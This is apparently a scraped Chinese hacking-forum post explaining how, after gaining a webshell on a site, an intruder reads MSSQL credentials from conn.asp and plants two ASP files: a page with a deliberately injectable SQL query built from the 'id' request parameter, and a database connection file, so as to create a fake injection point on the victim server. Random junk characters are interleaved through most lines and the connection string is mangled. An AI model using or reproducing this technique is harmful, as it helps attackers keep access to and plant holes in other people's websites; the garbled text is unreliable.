首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:' f: U7 O$ V6 h7 w
ASP/Visual Basic代码9 A5 L% Q9 X S n$ e! j/ q* d O. o
<!--#include file="xx.asp"-->
. C( K* q$ ]5 s4 d; [1 y<%
; \! V1 r! R) d& N8 B* o; @set rs=server.createobject("ADODB.recordset")
! i( F: s' r7 |id = request("id") / F+ x4 P( V! e2 n
strSQL = "select * from admin where id=" & id
) B7 K. e, @ o1 x; {3 R) b+ Frs.open strSQL,conn,1,3 , R- m+ u: U6 [' b
rs.close ' @; [( d: g$ P! ]
%>
9 F) o# Z7 q: f( i$ @8 P8 ~把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!* P# V, ~/ t$ ] e# q4 @0 W
然后就要构造一个连接数据库的文件了,代码如下:
3 t: c. _) a; z, H0 LASP/Visual Basic代码
r. n+ ?8 N$ t, a; p/ ^7 a<% , B9 P2 Z3 l$ }: U4 i
strSQLServerName = "000.000.000.000" '服务器名称或地址 , c% ]! T/ d" X
strSQLDBUserName = "sqlname" '数据库帐号 ( X# o% h; _; }7 U. S% T' W
strSQLDBPassword = "sqlpass" '数据库密码
0 s: H9 z- [) k. {9 d1 U$ n6 \strSQLDBName = "sqldataname" '数据库名称 . D2 L5 z8 [, f
Set conn = Server.CreateObject("ADODB.Connection")
# s; @* D& Q4 W/ t' J7 sstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
# F' f2 g f& ~- C; p1 s% \conn.open strCon
1 @; d! c7 c' p2 I# l- V2 U8 A7 K e%>
* E5 ~) f+ }$ ?# Y% R这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功8 G" h+ R2 r+ y3 l# a, i6 c; s
|